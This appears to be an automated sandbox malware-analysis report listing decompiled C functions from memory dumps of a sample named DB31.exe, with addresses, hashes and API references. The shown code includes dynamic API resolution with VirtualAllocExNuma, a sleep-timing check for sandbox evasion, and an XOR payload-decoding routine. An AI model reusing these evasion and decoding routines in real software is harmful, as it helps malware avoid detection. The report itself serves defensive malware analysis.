						_push( *0x688E99AF);
						_push(_t65);
						_push(_t35);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t69, _t96);
						_t37 = 0x2c1c;
						_t32 = E00401277(_t37, 0x688e1679, _t73, _t74, 0x13eba4a4, _t96);
					} else {
						_t32 = E00402255(_t99,  *((intOrPtr*)(0x13eba4a0)));
						_t93 = _t32;
						if(_t32 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t32 = L00402321(0x688e1679, _t73, _t74, _t93, _t99);
							_t94 = _t32;
							if(_t32 != 0) {
								_t32 = E00401FF1(_t94, _t99,  *((intOrPtr*)(0x13eba4a0)));
								if(_t32 != 0) {
									goto L17;
								}
							}
						}
					}
				}
				return _t32;
			}

0x00402b38
0x00402b38
0x00402b38
0x00402b38
0x00402b39
0x00402b3a
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000B.00000002.805314119.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_9334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction ID: 3e85d14ce6c36aa09c03589aa9c8c3521ff663fa5e1e86b555b0dc280717ecfe
Opcode Fuzzy Hash: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction Fuzzy Hash: 17412A31109101EFFB01AB51DF8A5AEB775FF19368B2000BBDC417A1D2D77E5A05DA16

Uniqueness

Uniqueness Score: -1.00%

Function 00402BFB, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00402BFB(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;
				intOrPtr* _t30;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc al, 0x62");
				_push(0x2c1c);
				_t12 =  *_t30;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t35 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t35,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L11:
						_t40 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t40);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t40);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t37 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t37, __fp0);
							_t38 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t38, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L11;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402bfb
0x00402bfb
0x00402bfb
0x00402bfb
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000B.00000002.805314119.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_9334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction ID: 52cd7e5ac6ed9cc019fbfcf69bdf72a742899d53516448c63c37d0d49b3bd750
Opcode Fuzzy Hash: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction Fuzzy Hash: 7111213050C105EAFF01A6518F5E97E72699F01348F24007BAD42B52E2D7BD9F16B62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C01, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402C01(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c01
0x00402c01
0x00402c01
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000B.00000002.805314119.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_9334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction ID: 94dd4e34baa45bb6a7d52d13517e1efb42c98130ce2376b8e4646defd1028816
Opcode Fuzzy Hash: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction Fuzzy Hash: D2011220118105F9FF0167528F1A97E75299F01348F24007BAC41B52E2DBBD8F15A62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C12, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402C12(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("a16 push es");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c12
0x00402c12
0x00402c12
0x00402c12
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000B.00000002.805314119.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_9334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction ID: 69eb8ccb3173368d7466cfbebad6b250e745b2528687b1428edbefbc5d99c229
Opcode Fuzzy Hash: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction Fuzzy Hash: 5001DE20518105FAFF01A6528F5A97E75699F01348F24007BAD42B52E2DBBD8F16AA2F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C16, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00402C16(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t33 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t33,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L6:
						_t38 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t38,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t38);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t35 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t35, __fp0);
							_t36 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t36, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L6;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c16
0x00402c16
0x00402c16
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000B.00000002.805314119.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_9334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction ID: 22f91f3ad527b43ded7c43fe05e3e31a54a2160e6f7bd47ea20a36d237ffec38
Opcode Fuzzy Hash: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction Fuzzy Hash: 4401CC20518105F9FF01B7628F1A9BE75699F00348F24007BBC41B52E6DBBD8F15AA2E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040DF48, Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040DF6E

Part of subcall function 0040DD93: __fltout2.LIBCMT ref: 0040DDBF

__cftog_l.LIBCMT ref: 0040DF94
__cftoe_l.LIBCMT ref: 0040DFC6

Memory Dump Source

Source File: 0000000B.00000002.805330866.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_9334.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 371dcc409b8a9c37bc45af426a8add198d970d59fd773847fc00fd30e5f9ded3
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 7B11803280014EBBCF125EC4CC41CEE3F22BF19354B198426FA1968171C23AC9B5AB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: DB31.exe PID: 6560 Parent PID: 3424 DB31.exeCOMMON

Executed Functions

Function 0040C2E0, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 109
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C2E0() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;
				CHAR* _t5;
				intOrPtr _t6;
				struct HINSTANCE__* _t8;
				CHAR* _t11;
				struct HINSTANCE__* _t13;
				CHAR* _t16;
				struct HINSTANCE__* _t18;
				CHAR* _t21;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t26;
				CHAR* _t28;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t30;
				CHAR* _t31;
				struct HINSTANCE__* _t32;
				CHAR* _t33;
				struct HINSTANCE__* _t34;
				CHAR* _t35;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				CHAR* _t38;
				CHAR* _t39;
				intOrPtr _t40;
				struct HINSTANCE__* _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;
				CHAR* _t46;
				struct HINSTANCE__* _t47;

				if( *0x41aa64 != 0) {
					_t6 =  *0x41a1f0; // 0x700b48
					_t30 =  *0x41aa64; // 0x73b60000
					 *0x41aa14 = E0040C1B0(_t30, _t6);
					_t40 =  *0x41a474; // 0x700b60
					_t8 =  *0x41aa64; // 0x73b60000
					 *0x41a970 = E0040C1B0(_t8, _t40);
					_t31 =  *0x41a718; // 0x700ba8
					_t41 =  *0x41aa64; // 0x73b60000
					 *0x41aa8c = GetProcAddress(_t41, _t31);
					_t11 =  *0x41a33c; // 0x6fec70
					_t32 =  *0x41aa64; // 0x73b60000
					 *0x41a88c = GetProcAddress(_t32, _t11);
					_t42 =  *0x41a5bc; // 0x6fa8e8
					_t13 =  *0x41aa64; // 0x73b60000
					 *0x41aa68 = GetProcAddress(_t13, _t42);
					_t33 =  *0x41a4b0; // 0x700bc0
					_t43 =  *0x41aa64; // 0x73b60000
					 *0x41a9cc = GetProcAddress(_t43, _t33);
					_t16 =  *0x41a4c8; // 0x700c68
					_t34 =  *0x41aa64; // 0x73b60000
					 *0x41a9e4 = GetProcAddress(_t34, _t16);
					_t44 =  *0x41a7d4; // 0x700b78
					_t18 =  *0x41aa64; // 0x73b60000
					 *0x41a984 = GetProcAddress(_t18, _t44);
					_t35 =  *0x41a324; // 0x700c80
					_t45 =  *0x41aa64; // 0x73b60000
					 *0x41aa04 = GetProcAddress(_t45, _t35);
					_t21 =  *0x41a6f0; // 0x700c98
					_t36 =  *0x41aa64; // 0x73b60000
					 *0x41aa78 = GetProcAddress(_t36, _t21);
					_t46 =  *0x41a7b0; // 0x6fa888
					_t23 =  *0x41aa64; // 0x73b60000
					 *0x41a9f4 = GetProcAddress(_t23, _t46);
					_t37 =  *0x41a218; // 0x6fa9c8
					_t47 =  *0x41aa64; // 0x73b60000
					 *0x41aaa0 = GetProcAddress(_t47, _t37);
					_t26 =  *0x41aa64; // 0x73b60000
					 *0x41aa50 = GetProcAddress(_t26, "VirtualAllocExNuma");
				}
				_t28 =  *0x41a0f8; // 0x700d88
				_t1 = LoadLibraryA(_t28); // executed
				 *0x41a854 = _t1;
				_t38 =  *0x41a658; // 0x700b90
				_t2 = LoadLibraryA(_t38); // executed
				 *0x41a934 = _t2;
				if( *0x41a854 != 0) {
					_t5 =  *0x41a594; // 0x700d10
					_t29 =  *0x41a854; // 0x73ae0000
					_t2 = GetProcAddress(_t29, _t5);
					 *0x41a944 = _t2;
				}
				if( *0x41a934 != 0) {
					_t39 =  *0x41a0b8; // 0x6fa7c8
					_t3 =  *0x41a934; // 0x76ae0000
					_t4 = GetProcAddress(_t3, _t39);
					 *0x41a9e0 = _t4;
					return _t4;
				}
				return _t2;
			}

0x0040c2ea
0x0040c2f0
0x0040c2f6
0x0040c305
0x0040c30a
0x0040c311
0x0040c31f
0x0040c324
0x0040c32b
0x0040c338
0x0040c33d
0x0040c343
0x0040c350
0x0040c355
0x0040c35c
0x0040c368
0x0040c36d
0x0040c374
0x0040c381
0x0040c386
0x0040c38c
0x0040c399
0x0040c39e
0x0040c3a5
0x0040c3b1
0x0040c3b6
0x0040c3bd
0x0040c3ca
0x0040c3cf
0x0040c3d5
0x0040c3e2
0x0040c3e7
0x0040c3ee
0x0040c3fa
0x0040c3ff
0x0040c406
0x0040c413
0x0040c41d
0x0040c429
0x0040c429
0x0040c42e
0x0040c435
0x0040c43b
0x0040c440
0x0040c447
0x0040c44d
0x0040c459
0x0040c45b
0x0040c461
0x0040c468
0x0040c46e
0x0040c46e
0x0040c47a
0x0040c47c
0x0040c483
0x0040c489
0x0040c48f
0x00000000
0x0040c48f
0x0040c495

APIs

GetProcAddress.KERNEL32(73B60000,00700BA8), ref: 0040C332
GetProcAddress.KERNEL32(73B60000,006FEC70), ref: 0040C34A
GetProcAddress.KERNEL32(73B60000,006FA8E8), ref: 0040C362
GetProcAddress.KERNEL32(73B60000,00700BC0), ref: 0040C37B
GetProcAddress.KERNEL32(73B60000,00700C68), ref: 0040C393
GetProcAddress.KERNEL32(73B60000,00700B78), ref: 0040C3AB
GetProcAddress.KERNEL32(73B60000,00700C80), ref: 0040C3C4
GetProcAddress.KERNEL32(73B60000,00700C98), ref: 0040C3DC
GetProcAddress.KERNEL32(73B60000,006FA888), ref: 0040C3F4
GetProcAddress.KERNEL32(73B60000,006FA9C8), ref: 0040C40D
GetProcAddress.KERNEL32(73B60000,VirtualAllocExNuma), ref: 0040C423
LoadLibraryA.KERNELBASE(00700D88,?,00406B72), ref: 0040C435
LoadLibraryA.KERNELBASE(00700B90,?,00406B72), ref: 0040C447
GetProcAddress.KERNEL32(73AE0000,00700D10), ref: 0040C468
GetProcAddress.KERNEL32(76AE0000,006FA7C8), ref: 0040C489

Strings

VirtualAllocExNuma, xrefs: 0040C418
po, xrefs: 0040C33D

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: VirtualAllocExNuma$po
API String ID: 2238633743-3105787844
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: a0d7b009b4cf0954f7e46bb6ba0f8cea1e563656be094aab1f3a6ea2fda818d0
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: A44165F5523200DFC344DFA8EE8899637B9BB8C251705CA39E50983672D7389561CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA0, Relevance: 4.5, APIs: 3, Instructions: 19
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406AA0() {
				long _v8;
				intOrPtr _v12;

				_v8 = GetTickCount();
				Sleep(0x2710); // executed
				_v12 = GetTickCount() - _v8;
				if(_v12 <= 0x1770) {
					return 0;
				}
				return 1;
			}

0x00406aac
0x00406ab4
0x00406ac3
0x00406acd
0x00000000
0x00406ad8
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00406AA6
Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
GetTickCount.KERNEL32 ref: 00406ABA

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 5e65db4bb8db0037cc9712db6db32af1b7f49a6c19175b0f31c2b6dd27f19f6d
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: F8E04F30949118DBCB00BFB4D9080AD7BB0EB01342F10C0B29807A2280DA784D609F5B

Uniqueness

Uniqueness Score: -1.00%

Function 004048D0, Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004048D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				void* _t28;
				signed int _t33;
				void* _t53;

				_t28 = LocalAlloc(0x40, _a12 + 1); // executed
				_v12 = _t28;
				 *((char*)(_v12 + _a12)) = 0;
				_v16 = 0;
				while(_v16 < _a12) {
					_t33 = E0040B740(_a4 + _v16, _a8);
					_t53 = _t53 + 4;
					 *((char*)(_v12 + _v16)) =  *(_a4 + _v16) ^  *(_a8 + _v16 % _t33);
					_v16 = _v16 + 1;
				}
				_v8 = 0;
				VirtualProtect(_v12, 4, 0x100,  &_v8); // executed
				return _v12;
			}

0x004048e0
0x004048e6
0x004048ef
0x004048f2
0x00404904
0x00404919
0x0040491e
0x00404939
0x00404901
0x00404901
0x0040493d
0x00404953
0x00404960

APIs

LocalAlloc.KERNELBASE(00000040,?), ref: 004048E0
VirtualProtect.KERNELBASE(?,00000004,00000100,00000000), ref: 00404953

Memory Dump Source

Source File: 00000010.00000002.777350665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.777882451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_DB31.jbxd

Similarity

API ID: AllocLocalProtectVirtual
String ID:
API String ID: 4134893223-0
Opcode ID: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction ID: 4623e7d36af2260dceec399572c1bb905ae2e9b6f15e47edd37a55d804c2928b
Opcode Fuzzy Hash: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction Fuzzy Hash: 561173B4E00248EFCB04DFA8C890BAEBBB5FF49305F108099EA15A7341C735AA11CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4A0, Relevance: 368.4, APIs: 144, Strings: 66, Instructions: 865
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C4A0() {
				CHAR* _t2;
				struct HINSTANCE__* _t3;
				struct HINSTANCE__* _t4;
				CHAR* _t6;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t9;
				CHAR* _t10;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t15;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				CHAR* _t18;
				_Unknown_base(*)()* _t19;
				struct HINSTANCE__* _t20;
				CHAR* _t23;
				struct HINSTANCE__* _t25;
				CHAR* _t28;
				struct HINSTANCE__* _t30;
				CHAR* _t33;
				CHAR* _t34;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				struct HINSTANCE__* _t39;
				CHAR* _t41;
				struct HINSTANCE__* _t43;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t50;
				struct HINSTANCE__* _t52;
				CHAR* _t55;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t59;
				CHAR* _t60;
				struct HINSTANCE__* _t61;
				CHAR* _t64;
				struct HINSTANCE__* _t66;
				CHAR* _t69;
				struct HINSTANCE__* _t71;
				CHAR* _t74;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				struct HINSTANCE__* _t81;
				CHAR* _t83;
				struct HINSTANCE__* _t85;
				CHAR* _t88;
				struct HINSTANCE__* _t90;
				struct HINSTANCE__* _t92;
				CHAR* _t95;
				struct HINSTANCE__* _t97;
				CHAR* _t100;
				struct HINSTANCE__* _t102;
				CHAR* _t105;
				struct HINSTANCE__* _t107;
				CHAR* _t110;
				struct HINSTANCE__* _t112;
				CHAR* _t115;
				struct HINSTANCE__* _t117;
				CHAR* _t120;
